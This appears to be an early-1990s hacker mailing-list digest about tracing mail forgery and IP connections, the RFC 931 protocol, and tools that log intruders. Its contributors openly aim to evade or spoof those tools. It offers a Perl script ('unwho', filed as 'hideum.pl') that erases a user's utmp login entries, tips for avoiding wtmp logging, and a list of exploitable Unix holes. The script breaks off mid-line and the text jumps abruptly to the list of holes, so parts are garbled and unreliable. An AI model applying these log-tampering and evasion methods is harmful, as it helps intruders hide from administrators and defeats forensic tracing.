ftp, etc -- but not +smtp). +It's harder to trace a forgery that occurs by changing the contents of +an existing message. E.g. the sender sent one version, the recipient +got another. It could have been modified at each site along the way as +it sat in a queue. It may be possible to track this down by checking +the mesasge sizes at each site, but you have to account for the header +lines changing. You could send a second message through the same path, +with the same initial byte count, see what transformations happen +to it along the way, and compare its logged byte counts to the counts +of the forged message. +If you can trace the message all the way back to the sender's site, but +they claim they didn't send it, then the last and lastcomm and cron +logs are useful for seeing who was on the system and what processes +were running. Lastcomm (Unix process accounting) really should be +logging the PID of each process so that its log can be backtraced into +the other log files (sendmail and uucp both log the PID). Perhaps some +other user sent the mail while su'd to that user, or injected it into +the local sendmail daemon by connecting to the SMTP port on the local +machine. Perhaps they used the TIOCSTI ioctl to insert fake 'typing' +into one of the user's windows (perhaps even an iconified window) that +caused the message to be sent "by them". This can be done when nobody +else is logged in, but requires a process left around from some earlier +time -- which should show up in lastcomm logs. Or perhaps someone just +walked by their terminal, popped up a shell window, sent the message, +and destroyed the window. This can be done in seconds if the message +is in a prepared file (e.g. in /tmp), but again you'll find it in the +process logs. +If the user logs into that system via TCP, the TCP connection can be +compromised (e.g. by forging a packet to appear to be from their +workstation or x terminal). The next packet that is sent from the real +TCP connection will cause the connection to reset, but that could +happen hours later, and will just look like temporary network trouble +(the window disappears or the rlogin says "Connection closed"). This +is harder to spot since neither end of the link won't see anything odd +until much later (except that the terminal may get some output +resulting from the mail being sent, like another shell prompt; this +could be disguised by clever use of terminal escape codes so it +overprints the previous shell prompt). Lastcomm showing that the last +thing to run on that pty was the mailer, even if the end of the pty +(its shell terminating) happens much later, is probably your best clue +there. An SMTP tcp connection can also be altered in this way. I have +heard that someone at MIT is logging the first 50 bytes of every packet +that goes through their Internet gateways, and keeping it for days. If +you were really desperate, and the breakin happened at MIT, you could +try locating the person doing the logging. (Needless to say the log is +not available to everyone, since it includes all the login names and +passwords used through the gateway!!!) +Also don't forget that a claimed forgery may be a real message that the +sender wishes to repudiate. +As you can see, tracking a message back through five or ten sites this +way would involve a lot of work and coordination, as well as requiring +quick action so that that the forgery is noticed and traced before each +of those sites' logs are removed. I encourage sites to keep a few +weeks' worth of uucp and sendmail logs so that this kind of forgery can +be more easily traced. Compress them to save space. Suns come with +shell scripts that keep the log files for N days; you can hack these to +alter N, move logs to places where there's more space, compress, or +whatever. +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Fri, 24 Jan 92 19:36:13 -0700 +Subject: IP.tracing + +============================================================================== +Section Name chapter.sec.version 00/00/00 +IP.tracing 01.08.0 01/21/92 +------------------------------------------------------------------------------ +DATA: +>one question: how do you trace someone through the net? in progress/after the +>fact. - needed for current section of paper, thanks. +It is directly related to the method they used to enter the net. For instance +the /var/log/syslog file contains alot of information from folks using +sendmail. There are obviously uucp logs. Some folks run front ends to the +progs run out of inetd, which causes some logging -- to where... I dunno, +depends on how they compiled the software. Best bet is to watch these +directories: +/var/log +/var/adm +>ok, on the logging thing, I was thinking of tracing IP packets... could you +>expand on that a little? +Again, nothing in *standard* unix. Sure, theoretically, I could, and I know +that some sites do, trap and log all IP packets. +>netstat, ofiles, rfc931, and packages that will log +>what it sends all seem to have something to do with it... +Yes, sites *could* run some of this stuff, but to say WHERE they are logging +it is impossible. One would certainly want to do a long ps listing to see +what processes are running. One implementation of RFC931 has a daemon called +authd, but most folks run it out of inetd, so that would go un-noticed. I +personally feel that the easiest way to detect such changes is to do a +comparison to an "out of the box" system. For instance, compare inetd.conf +files -- files created under /var/log and /var/adm, and so on.... +>'last' reads some file and tells where the connect to a particular accnt ... +It reads wtmp (on suns /var/adm/wtmp). It logs normal logins, but not things +like rsh. This obviously makes things like rsh HOST sh -i very useful. Also +note that certain versions of utils like xterm and screen don't do logging, +due to the non-writability of utmp on some systems and those apps not being +setuid to a uid that can write to it. Basically, if you come in and even +touch the "login" program, wtmp will have mention of it. Again, not rsh +doesn't. +>also what methods could be used to enter the net (brief, for now) +Well, obviously you need to make it to a node on "the net". This is done +by either: +dialing up a host +dialing up a terminal server* +*= Some terminal servers are WIDE OPEN. Ask some folks about terminus... +There are other ways, but I don't know much more about them. I know there +is a packet radio network and a few sites will actually forward their packets. +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Fri, 24 Jan 92 19:47:24 -0700 +Subject: more.IP.tracing + +============================================================================== +Section Name chapter.sec.version 00/00/00 +more.IP.tracing 01.09.0 01/22/92 +------------------------------------------------------------------------------ +DATA: +Subject: Finding out where someone remotely logged in from +>Suppose a program is running as the login shell under telnetd (or is a +>script run by the login shell, or some such). Is there a good way it +>can discover the remote host from which the login was made? +>The best way I've been able to figure out is to get the tty name (from +>'who am i') and look it up in /etc/utmp. Unfortunately, utmp only +>contains the first 16 characters of the remote host name. It seems to +>me that there should be a good way to do this, since the telnetd could +>just do a getpeername and find out its address. (In fact, either +>telnetd or login *does*, in order to make the entry in utmp.) But +>this information doesn't seem to be easily available to child +>processes. +The quick answer is that you can use either netstat or ofiles. +netstat gives you a list of connections, and you have to pick out the one +that corresponds to the utmp entry, then use netstat -n to get the IP address. +Alternatively, you can use ofiles on the corresponding in.telnetd process +(the parent of the shell), and see where file descriptors 0, 1 and 2 point to. +That's where they're coming from. +-------------------- +I have a similar problem only we are using System V and thus our hostname of +origin isn't in /etc/utmp +Is there a way to use netstat (which _does_ show the origin) and associate +the results with individual terminals or users? +[...] +Paul Mc Auley | God is real . . . . . . +--------------------------| +AKA pmcauley@maths.tcd.ie | . . . . . . . . Unless Declared an Integer. +---------------------- +Ok, not much of a solution, but at least it works: +I had to do this for a client a couple of years ago. The solution I +used then was (lacking source at their site) as follows: +If you are using inetd (if not, the same _principle_ applies but the +implementation is a trifle more complex), simply write a short programme that +replaces telnetd. This programme does a getpeername() on it's stdin descrip- +tor and squirrels it away somewhere before invoking the _real_ telnet or login +daemon (with any arguments IT was originally called with). +Places to squirrel the information: +1/ In an environment variable. This sometimes works but can allow a +user to `fake' their location and anyway, some telnetd/rlogind programmes +refuse to pass over an inherited environment. +2/ In a file indexed by something. Pick a suitable index - I used +the PID since I already had (fast) routines to trace process parentage that +would allow you to find the highest parent (closest to init) who'se parent +WAS init - this would be the telnet/rlogin daemon (having the same PID as +the new programme). It would be nice to know the tty name that the daemon +will allocate, but unfortunately this hasn't been decided yet (there are +frigs round this but they're unpleasant). +3/ fork/exec - child exec's the real daemon, parent closes it's +descriptors and watches for the PGRP of the child at which point the tty +name is known (hackity hack). +---------------------- +> netstat gives you a list of connections, and you have to pick out +> the one that corresponds to the utmp entry, then use netstat -n to +> get the IP address. +> Alternatively, you can use ofiles on the corresponding in.telnetd +> process (the parent of the shell), and see where file descriptors +> 0, 1 and 2 point to. That's where they're coming from. +I've looked into this, and run into some problems: +netstat will truncate a symbolic host name to 16 characters (as does +finger and the entry in utmp). This can be easily overcome with -n, +which causes it to give numeric IP addresses. +Unfortunately, netstat gives no way to associate a particular +connection with the telnetd that it feeds. In fact, all incoming +telnet connections list the same address on "this end" (port 512). +ofiles might be useful, but we don't have it (we're running SunOS +4.1.1), as far as I can tell. +I have found that pstat -u will give all sorts of useful information +about a process, including where internal control blocks are located. +The 'files' field has pointers to the open files table, and pstat -f +will list information about the open files table. But, alas, the peer +address is not listed. +Does anybody know of any other utilities to investigate? +----------------- + RARP can catch IP forgery; encryption systems like Kerberose, simply +ignore forged packets. +------------------ +> "any desired IP address" Seems to me that you're limited to using ip +>addresses in the range assigned to the subnet of your local wire. +>Otherwise, you're not going to be able to interact with (or attack) any +>systems (even ones on the local wire). And if you do change the ip address +>to an unused one and then back to the real one when you're done, you will +>have given away your site and genneral location. + This is a common misconception. + Yes, you need to use an address in your sub-net if you wish to receive +any reverse traffic, but not all popular protocols rely on two-way +communications. NFS servers, for instance, perform the requested operation +and then send the reply back; if the reply can't reach the sender, the +operation has still been carried out, so who cares if the reverse +communication isn't possable? Simmilarly, many network time protocols use +one-way datagrams. +---------------- + [...]look at the /etc/services file. Each of these services is a possable +security problem. +----------------- +ME: Hmmm, someone tried to break in from 'foo.bar.edu'. + "Hey, root@foo.bar.edu. Someone tried to crack my + machine from yours. Could you check your logs for + Wed Jan 22 07:00:00 EST? Thanks." +ROOT: "Someone from baz.bletch.com logged into our guest + account from 04:00:00 to 08:30:00 this morning. Hmm, I think I'm + going to start keeping a closer eye on the use of my guest account + from now on." +ME: "Thanks, root@foo.bar.edu." "Hey, root@baz.bletch.com ..." +-------------- + There are many other groups working on reducing internet anonymity: for +example, Athena, the auth-acct list, SAAG, even rfc931-users. + ^^^^^^^^^^^^^^ ^^^^ + anyone know who these groups are? +-------------- +Try tracing this... +telnet to nsf.sun.ac.uk +log into janet pad +connect to {some janet site} +now connect from there ta a certain SPAN node +now patch out to the internet +There are at least 2 of the SPAN-IP gateways (where?) +Try tracing that convaluded mess! +It makes your terminus look like a kindergarden session: +You have involved 3 networks, 2 countries, and about 5 science/networking +agencies. Its a game of hunt the duristiction folks. +------------- +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Fri, 24 Jan 92 19:55:52 -0700 +Subject: rfc931 + +============================================================================== +Section Name chapter.sec.version 00/00/00 +rfc.931 01.10.0 01/22/92 +------------------------------------------------------------------------------ +DATA: +Network Working Group Mike StJohns +Request for Comments: 931 TPSC +Supersedes: RFC 912 January 1985 + Authentication Server +STATUS OF THIS MEMO + This RFC suggests a proposed protocol for the ARPA-Internet + community, and requests discussion and suggestions for improvements. + This is the second draft of this proposal (superseding RFC 912) and + incorporates a more formal description of the syntax for the request + and response dialog, as well as a change to specify the type of user + identification returned. Distribution of this memo is unlimited. +INTRODUCTION + The Authentication Server Protocol provides a means to determine the + identity of a user of a particular TCP connection. Given a TCP port + number pair, it returns a character string which identifies the owner + of that connection on the server's system. Suggested uses include + automatic identification and verification of a user during an FTP + session, additional verification of a TAC dial up user, and access + verification for a generalized network file server. +OVERVIEW + This is a connection based application on TCP. A server listens for + TCP connections on TCP port 113 (decimal). Once a connection is + established, the server reads one line of data which specifies the + connection of interest. If it exists, the system dependent user + identifier of the connection of interest is sent out the connection. + The service closes the connection after sending the user identifier. +RESTRICTIONS + Queries are permitted only for fully specified connections. The + local/foreign host pair used to fully specify the connection are + taken from the query connection. This means a user on Host A may + only query the server on Host B about connections between A and B. +QUERY/RESPONSE FORMAT + The server accepts simple text query requests of the form + , + where is the TCP port (decimal) on the target (server) + system, and is the TCP port (decimal) on the source + (user) system. + For example: + 23, 6191 + The response is of the form + , : : + where , are the same pair as the query, + is a keyword identifying the type of response, and + is context dependent. + For example: + 23, 6191 : USERID : MULTICS : StJohns.DODCSC.a + 23, 6193 : USERID : TAC : MCSJ-MITMUL + 23, 6195 : ERROR : NO-USER +RESPONSE TYPES + A response can be one of two types: + USERID + In this case, is a string consisting of an + operating system name, followed by a ":", followed by user + identification string in a format peculiar to the operating system + indicated. Permitted operating system names are specified in + RFC-923, "Assigned Numbers" or its successors. The only other + names permitted are "TAC" to specify a BBN Terminal Access + Controller, and "OTHER" to specify any other operating system not + yet registered with the NIC. + ERROR + For some reason the owner of could not be determined, + tells why. The following are suggested values + of and their meanings. + INVALID-PORT + Either the local or foreign port was improperly specified. + NO-USER + The connection specified by the port pair is not currently in + use. + UNKNOWN-ERROR + Can't determine connection owner; reason unknown. Other values + may be specified as necessary. +CAVEATS + Unfortunately, the trustworthiness of the various host systems that + might implement an authentication server will vary quite a bit. It + is up to the various applications that will use the server to + determine the amount of trust they will place in the returned + information. It may be appropriate in some cases restrict the use of + the server to within a locally controlled subnet. +APPLICATIONS + 1) Automatic user authentication for FTP + A user-FTP may send a USER command with no argument to the + server-FTP to request automatic authentication. The server-FTP + will reply with a 230 (user logged in) if it can use the + authentication. It will reply with a 530 (not logged in) if it + cannot authenticate the user. It will reply with a 500 or 501 + (syntax or parameter problem) if it does not implement automatic + authentication. Please note that no change is needed to currently + implemented servers to handle the request for authentication; they + will reject it normally as a parameter problem. This is a + suggested implementation for experimental use only. + 2) Verification for privileged network operations. For example, + having the server start or stop special purpose servers. + 3) Elimination of "double login" for TAC and other TELNET users. + This will be implemented as a TELNET option. +FORMAL SYNTAX + ::= + ::= "," + ::= + ::= | + ::= ":" ERROR ":" + ::= ":" USERID ":" ":" + ::= INVALID-PORT | NO-USER | UNKNOWN-ERROR + ::= TAC | OTHER | MULTICS | UNIX ...etc. + (See "Assigned Numbers") + Notes on Syntax: + 1) White space (blanks and tab characters) between tokens is not + important and may be ignored. + 2) White space, the token separator character (":"), and the port + pair separator character (",") must be quoted if used within a + token. The quote character is a back-slash, ASCII 92 (decimal) + ("\"). For example, a quoted colon is "\:". The back-slash must + also be quoted if its needed to represent itself ("\\"). +Notes on User Identification Format: + The user identifier returned by the server should be the standard one + for the system. For example, the standard Multics identifier + consists of a PERSONID followed by a ".", followed by a PROJECTID, + followed by a ".", followed by an INSTANCE TAG of one character. An + instance tag of "a" identifies an interactive user, and instance tag + of "m" identifies an absentee job (batch job) user, and an instance + tag of "z" identifies a daemon (background) user. + Each set of operating system users must come to a consensus as to + what the OFFICIAL user identification for their systems will be. + Until they register this information, they must use the "OTHER" tag + to specify their user identification. +Notes on User Identification Translation: + Once you have a user identifier from a remote system, you must then + have a way of translating it into an identifier that meaningful on + the local system. The following is a sketchy outline of table driven + scheme for doing this. + The table consists of four columns, the first three are used to match + against, the fourth is the result. + USERID Opsys Address Result + MCSJ-MITMUL TAC 26.*.*.* StJohns + * MULTICS 192.5.42.* = + * OTHER 10.0.0.42 anonymous + MSJ ITS 10.3.0.44 StJohns + The above table is a sample one for a Multics system on MILNET at the + Pentagon. When an authentication is returned, the particular + application using the userid simply looks for the first match in the + table. Notice the second line. It says that any authentication + coming from a Multics system on Net 192.5.42 is accepted in the same + format. + Obviously, various users will have to be registered to use this + facility, but the registration can be done at the same time the use + receives his login identity from the system. +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Fri, 24 Jan 92 20:04:46 -0700 +Subject: hacker.trkr.tools + +============================================================================== +Section Name chapter.sec.version 00/00/00 +hacker.trkr.tools 01.11.0 01/24/92 +------------------------------------------------------------------------------ +DATA: +There are a number of "Hacker Tracker Tools", most have something to +do with rfc931, which is bad news... fortunatly it's not standard yet, +but it is becomming so... the documents below came with some of these +packages, they are worth reading as certain info can be gleaned from +them, such as where they put logs, and the programs names that run +these things. From this it should be able to tell if one of these is +running on a system, and devise ways to spoof them. They also alude to +security holes, that we can tease out... and offer pointers to other +programs in the same class... Shortcommings and weaknesses are also +identified. I havn't collected all of the programs yet, but am doing so. +these docs are chopped extracts from the program docs that come with +the programs. They need to be summerised further... (maybe a chart or +two...) +Programs of this type that I'm awaire of are: +AUTHD: 147.28.0.33 /pub/misc/authd301.tar.Z +KSTUFF: 128.174.5.50 /pub/kstuff-0.18.tar.Z +RARP: 137.208.3.5 /pub/src/datacom/rarpd.tar.Z +OFILES: 128.95.136.1 /pub/misc/ofiles.? +LOG_TCP: 147.28.0.3 /pub/unix/netware/log_tcp.? +LUMBERJACK:(?) 128.218.1.13 /comp.sources.unix/Volume16/lumberjack +ACTIV:(?) 128.256.135.4 /mirrors/unix-c/utils/activ.? +PAUTHD: ftp.lysator.liu.se /pub/daemons/pauthd-1.2.tar.Z +FTPD: wuarchive.wustl.edu /packages/ftpd.wuarchive.shar + also see the 'related software' section of tcp_log docs (below) for +pointers to rshd, rlogind, tftp and authutil. + If anyone knows of others please mention them. +--------------- +some news extracts: + There are many anonymous entrances into most systems. Local modem pools +are untraceable without a court order. PC's connected to a local Ethernet +can run their own copy of software and gain access to mutch they shouldn't + Even on those systems wheree we require authentication, there's often +nothing I can do after the fact to trace who attacked you. We don't log +every IP connection made, and on a UNIX system with 30 simultanious users +often the best I can do is say "it was one of those 30" Indeed on a +default SunOS system, even if you tell me while you're being attacked, +'bout all I can do is run NETSTAT and agree with you that someone on the +local machine is doing it--without OFILES or some other non-standard tool, +I don't believe there's a way to trace an IP connection back to the process +that owns it. +------------- +[...]it's still a pain in the neck to figure out which USER made a +connection unless you can run PS and OFILES and so on WHILE the +connection is in progress. But there are tools like rfc931 which solve +this. +[...]it's still a pain in the neck to figgure our which MACHINE generated +a particular TCP packet, since TCP is insecure, unless you run RARP and +various other tools--like secure Ethernets, or Kerberos. +------------------------------------------------------------------------ +TCP-LOG: +General description: +-------------------- +With this package you can monitor connections to the SYSTAT, FINGER, +FTP, TELNET, RLOGIN, RSH and EXEC network services. Connections are +logged through the syslog(3) facility. A requirement is that daemons +are started by the inetd program or something similar. +The programs are tiny front ends that just report the remote host name +and then invoke the real network daemon. In the most common case, no +changes should be required to existing software or to configuration +files. Just move the vendor-provided daemons to another place and +install the front ends into their original places. Installation details +are given below. +Early versions of the programs were tested with Ultrix >= 2.2, with +SunOS >= 3.4 and ISC 2.2. The first official release has been installed +on a wide variety of systems (BSD, SYSV, Apollo) without modification. +The present release should still run on top of most BSD-style TCP/IP +implementations. +Optional feature: +----------------- +When compiled with -DHOSTS_ACCESS, the front-end programs support a +simple form of access control that is based on host (or domain) names, +internet addresses or network numbers, network daemon process names and +(optionally) netgroups (a NIS, formerly YP, feature). Wild cards are +supported. If a host requests connection to a network daemon, and if +the (daemon, host) pair is matched by an entry in the /etc/hosts.allow +file, access is granted. Otherwise, if the (daemon, host) pair is +matched by an entry in the /etc/hosts.deny file, access is denied. +Otherwise, access is granted. More details are provided in the +hosts_access(5) manual page. This form of access control may be useful +if it can not be implemented at a more suitable level (such as an +internet router). +Major enhancement: +------------------ +It has been brought to my attention that AUTHENTICATION BASED ON HOST +ADDRESS TO HOST NAME MAPPING CAN EASILY BE SPOOFED BY PLAYING GAMES +WITH SOME DOMAIN NAME SERVER. A little research led me to the conclusion +that many existing RSHD and RLOGIND implementations do not account for +this potential problem. +The present versions of the front-end programs provide a way to take +care of the problem. After mapping a client host address to a host +name, the front-end programs now verify that the host name maps to the +same host address. The idea is that it is much easier to compromise +the address->name map of some random name server than to compromise the +name->address map that is specific to your domain. If the source is +compiled with -DPARANOID, the front ends justs drop the connection in +case of a host name/address mismatch. Otherwise, the front ends just +ignore the bad host name and use the host address when consulting the +access control files. +Minor enhancements: +------------------- +The host access control files now support more types of wild cards and +(optionally) allow the use of netgroup names. Netgroup support is +usually available on systems with NIS (formerly YP) software. +Related software: +----------------- +Versions of rshd and rlogind, hacked to report the remote user name as +well, are available for anon ftp (ftp.win.tue.nl:/pub/logdaemon.tar.Z). +That archive also contains a tftpd source that logs the remote host +name (nice if you want to know who is interested in your /etc/passwd +file). All those programs have been tested only with SunOS >= 4.0. +Another way to manage access to tcp/ip services is illustrated by the +servers provided with the authutil package (comp.sources.unix volume +22). This has the advantage that one will get the remote username from +any host supporting RFC 931 security. By installing the auth package +(same volume) one supports RFC 931 security too (but YOU WILL HAVE TO +BELIEVE WHAT THE REMOTE HOST TELLS YOU). Eventually one can start +cutting off unauthenticated connections. This is obviously a much more +advanced approach than what my front-end programs provide. The present +package is more suitable for those who lack the resources to install +anything that requires more than just renaming a couple of executables. +Configuration and installation (the easy way): +---------------------------------------------- +An advanced installation recipe is given lateron. The "easy way" recipe +requires no changes to existing software or configuration files. +If you don't run Ultrix, you don't need the miscd front-end program. +The Ultrix miscd daemon implements among others the SYSTAT service, +which pipes the output from the WHO command to standard output. +By default, connections are logged to the same place where the sendmail +log entries go. If connections should be logged elsewhere, adjust the +LOG_MAIL macro in the miscd.c and tcpd.c files, and update your syslog +configuration file (usually, /etc/syslog.conf). Most Ultrix versions +do not provide this flexibility, though. +The tcpd program is intended for monitoring connections to the telnet, +finger, ftp, exec, rsh and rlogin services. Decide which services you +want to be monitored. Move the vendor-provided daemon programs to the +location specified by the REAL_DAEMON_DIR macro in the file tcpd.c, and +copy the tcpd front end to the locations where the vendor-provided +daemons used to be. That is, one copy of the tcpd front end for each +service that you want to monitor. +--------------------------------------------------------------------------- +AUTHD: +authd - authentication server daemon +tcpuid, tcpuname - find out which user owns a connection +authuser - remote authentication library +authd is an implementation of RFC 931, the Authentication Server under +BSD. RFC 931 provides the name of the user owning a TCP connection. This +helps network security: UNLESS TCP ITSELF IS COMPROMISED, it is +impossible to forge mail or news between computers supporting RFC 931. +It also BECOMES MUCH EASIER TO TRACE ATTACKERS than in the current, +largely anonymous, network. authd requires no changes to current code: +every connect() and accept() is authenticated automatically, with no +loss of efficiency. +tcpuid and tcpuname are the same program, but more suitable for local +use from the command line by a user or system administrator. They show +which local user created a given TCP connection. +authuser is a library encapsulating client use of RFC 931. It talks to a +remote Authentication Server to find out the username on the other side +of a given connection. +Only root can install authd. However, most current systems are insecure +enough that any user can run tcpuid and tcpuname. authuser is meant for +use by any program. +[...] +2. Requirements +authd requires netstat, and it pokes around in several BSD-specific +kernel structures. It is not inherently portable code. Nevertheless, it +has been compiled under Ultrix, SunOS, and Convex UNIX, and it probably +doesn't take much work to get running under pretty much any BSD system. +authuser should compile and run without trouble on any BSD system. +You must be root to install authd. However, authd's sister utilities, +tcpuid and tcpuname, will probably work anyway if /dev/kmem is readable. +Any program can use the authuser library. +3. How to configure authd +You can change CC or CCOPTS in Makefile if you want. If you want authd +to record connections through syslog at LOG_DEBUG, define -DUSE_SYSLOG +in the Makefile. +5. How to install authd +If you don't have privileges, skip this part. +By default, authd, tcpuid, and tcpuname are installed in /etc, +authuser.o is installed as /usr/lib/libauthuser.a, authuser.h is +installed in /usr/include, authuser.3 is installed in /usr/man/man3, +and authd.8, tcpuid.8, and tcpuname.8 are installed in /usr/man/man8. +The binaries are installed setgid to group kmem. If you want to change +these defaults, edit INSTALL. +Then run INSTALL in a root shell; the script will check every action +with you before doing it. +To test tcpuname, make sure it is in your path, and run netstatuid. You +should get a report of all active network connections including +usernames. +To test authuser and authd, run ./test. You should get an ``everything +looks okay'' message. +6. TODO list +fast multiple-connection version of tcpuid/tcpuname, like netstatuid? +should write a few notes on the exact security provided by rfc 931 +authd - Authentication Server daemon authd is a daemon implement- +ing the RFC 931 Authentication Server protocol. It should be in- +voked by a network server, such as or for connections to TCP port +113 (auth). The client host gives two numbers separated by a +comma. interprets the numbers as TCP port numbers for the local +and remote sides respectively of a TCP connection between this +host and the client host. It returns a line of the form local- +port, remoteport: USERID: UNIX: username where username is the +name of the user on this side of the specified connection. If +does not have an authentication entry for that connection, it re- +turns a line of the form localport, remoteport: ERROR: UNKNOWN- +ERROR. None. None known. authd version 3.01, February 7, 1991. +Placed into the public domain by Daniel J. Bernstein. Partially +inspired by code written by Vic Abell for ofiles. The authenti- +cation server is more secure than passwords in some ways, but +less secure than passwords in many ways. (It's certainly better +than no password at all---e.g., for mail or news.) It is not the +final solution. For an excellent discussion of security problems +within the TCP/IP protocol suite, see Steve Bellovin's article +``Security Problems in the TCP/IP Protocol Suite.'' authtcp(1), +attachport(1), authuser(3), tcp(4), inetd(8) tcpuid - show the +user id that created a network connection tcpuid prints the +numeric user id of the user who created the network connection +specified by its arguments. Lots, none of which should happen if +the specified connection is valid. None known. tcpuid version +3.01, February 7, 1991. Placed into the public domain by Daniel +J. Bernstein. Partially inspired by code written by Vic Abell +for ofiles. authd(8), tcpuname(8) tcpuname - show the user name +that created a network connection tcpuname prints the username of +nection is valid. None known. tcpuname version 3.01, February +7, 1991. Placed into the public domain by Daniel J. Bernstein. +Partially inspired by code written by Vic Abell for ofiles. +authd(8), tcpuid(8) +------------------------------------------------------------------------ +OFILES: +ofiles - show owner of open file or network connection [ ] [ ] [ +] [ ] displays the owner, process identification (PID), type, +command and the number of the inode associated with an open in- +stance of a file or a network connection. An open file may be a +regular file, a file system or a directory; it is specified by +its path name. When the path name refers to a file system, will +display the owners of all open instances of files in the system. +An open network connection is specified by the kernel address of +its Protocol Control Block (PCB), as displayed by when its option +is specified. displays information about its usage if no options +are specified. This option selects verbose, debugging output. +This option may be used only on DYNIX hosts. It sets optional +name list and core file paths. is the path to the file from +which should obtain the addresses of kernel symbols, instead of +from is the path to the file from which should obtain the value +of kernel symbols, instead of from This option is useful for de- +bugging system crash dumps. This option specifies that the argu- +ments identify network connections by their hexadecimal, Protocol +Control Block (PCB) addresses. PCB addresses can be obtained via +the option of This option makes it possible to determine the lo- +cal processes that are using network connections in the LISTEN +through ESTABLISHED states. This option specifies that should +print process identifiers only - e. g., so that the output may be +piped to These are path names of files, directories and file sys- +tems; or, if the option has been specified, network connections, +identified by their hexadecimal Protocol Control Block (PCB) ad- +dresses. displays for each for file paths, an interpretation of +the type of name - file, directory or file system; for network +connections, the kernel address linkages, starting with the file +structure and proceeding through the socket structure and the In- +ternet Protocol Control Block (INPCB) structure to the PCB the +login name of the user of the process that has open the identif- +ier of the process that has open a file type explanation: if is +the current working directory of the process if is being used as +a regular file by the process, optionally followed by: if the +process has a shared lock on the file if the process has an ex- +clusive lock on the file if is the root directory of the process +if is a socket the file descriptor number, local to the process +the user command that opened the inode number of the file This +example shows the use of to discover the owner of the open, regu- +lar file, +% ofiles /usr/spool/lpd/lock +/usr/spool/lpd/lock +USER PID TYPE FD CMD INODE +root 110 file/x 3 lpd 26683 +This example shows the use of and to identify the local endpoint +of the ``smtp'' network connection. The first column of output +from is the PCB address; it is used as the argument to along with +the option. +% netstat -aA | grep smtp +80f6770c tcp 0 0 *.smtp *.* LISTEN +% ofiles -n 80f6770c +file 80102b64 of socket 80f6758c of INPCB 80f6780c of PCB 80f6770c +USER PID TYPE FD CMD +root 105 sock 5 sendmail +Errors are identified with messages on the standard error file. +returns a one (1) if any error was detected, including the +failure to locate any It returns a zero (0) if no errors were +detected and if it was able to display owner information about +all the specified can't identify SunOS 4.0 stream files, so it +doesn't follow their file structure pointers correctly when read- +ing their inodes. That results in the display of erroneous inode +numbers for stream files. The option limits its search to net- +work connections in the LISTEN through ESTABLISHED states. Since +reads kernel memory in its search for open files and network con- +nections, rapid changes in kernel memory may produce unsatisfac- +tory results. C. Spencer is the original author. Michael Ditto, +Tom Dunigan, Alexander Dupuy, Gary Nebbett and Richard Tobin con- +tributed. Michael Spitzer, Ray Moody, and Vik Lall of the Purdue +University Computing Center converted the program to a variety of +UNIX environments. Vic Abell of the Purdue University Computing +Center added the option. inode(5), mount(1), kill(1), tcp(4). +---------------------------------------------------------------------- +RARPD: + * Reverse Address Resolution Protocol server + * Routines that handle network I/O, and process RARP packets. +/* EtherRead reads the packet and checks to see it's the right opcode, etc. */ +/* Make sure we're looking for the right kind of Ethernet address. */ +* Send a response packet with our addresses in 'source' addresses. rarpPacket + comes in with the target addresses filled in, as well as the sizes, etc. */ + /* remember sender's hardware address, so the packet can be returned */ + /* fill in reply opcode and source addresses */ + * This programs sends a request packet to the rarp server and waits forever + * for a reply, then displays the response packet. +/* An IP prototcol address */ +/* An ethernet addresss for broadcast */ +/*fill in reply opcode and source and target address*/ +/* broadcast a request packet */ +/* prints an array a for n characters (as hexadecimal digits) with dots in + * between. +/* prints an array a for n characters (as decimal digits) with dots in + * between. + * test program for Reverse Address Resolution Protocol server + * This programs sends a request packet to the rarp server and waits forever + * for a reply, then displays the response packet. +/* An Ethernet hardware address (3Mbps) */ +/* An IP prototcol address */ +/* An ethernet addresss for broadcast */ +/* broadcast a request packet */ + * added support for 3Mbps Ethernets. + * This server uses files (/etc/rarpdb.*) to create a table of mappings + * between Ethernet (hardware) addresses and 32-bit IP protocol (logical) + * addresses. + * It can be expanded to include other kinds of hardware and protocol + * addresses, if needed. + * It provides a service for client machines (usually diskless workstations) + * to return a logical address when given a hardware address. + **************************************************************** + * Possible future extensions: + * 1)Fix Our_Ether_Addr to reflect multiple networks. Right now + *gethostid is used, which returns the IP address on the first + *network, not necessarily the 10 Mbit one. (in OpenEthers) + * 2)Change LookUp to use a faster search than sequential. + * 3)Support other kinds of 'hardware' or 'protocol' addresses. +/*interval to wait before checking to see if disk file has been changed*/ + /* Main mostly does debug and error-checking things. It calls OpenEthers + to establish the networks, and then calls MainLoop to do the serving. * +/* save ethermask because "select" changes the bits to indicate + which of the bits that were on in readfds correspond to + files that have packets waiting on their net */ +/* something to read from this ether */ +OpenEthers() + /* OpenEthers goes through all nets on this machine and opens a file for + each Ethernet interface. It builds a pernet table for each file + opened. It calls BringInTable to build a table of address pairs for each + net. It sets up a packet filter for each net for RARP packets. */ +/* gethostid really gets the main id and won't work if > 1 net: */ + * Routines for reading and searching the table of + * (Ethernet address, IP address) pairs. + /* Parses the input line "line", entering the IP and Ethernet addresses + * found into "tabent". This routine returns: + * 1 if the line was successfully parsed, + * 0 if the line is empty or begins with a comment character (; or #), + * -1 if a syntax error was found in the line. +--------------------------------------------------------------------------- +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Fri, 24 Jan 92 21:27:27 -0700 +Subject: hideum.pl + +============================================================================== +Section Name chapter.sec.version 00/00/00 +unwho.pl toolbox.01.0 01/23/92 +------------------------------------------------------------------------------ +DATA: +Here's a little program called "unwho" that deletes all entries for a +given user from utmp. You could probably mogrify it trans what you want. +#!/usr/bin/perl +# This assumes your /etc/utmp file looks like ours +$unname = shift; +open(UTMP,'+ +fred:...:...:...:Fred..... +Flintstone::/bin/sh + which is a root entry with no password! + fix - should skip to eol if it didn't read whole entry, + should enforce buffer limits on text in file, don't use + atoi (since atoi(/bin/sh) is 0). +portmap + allows other net entities to make bindings - may not be a + "security hole", can lead to denial of service. +rcp + nobody problem +rexd + existence +rwall,comsat + running as root, utmp world writeable, writes to files as + well as devices in utmp dev fields. +rdist - buffer overflow +selection_svc + allowed remote access to files +sendmail + debug option + wizard mode + 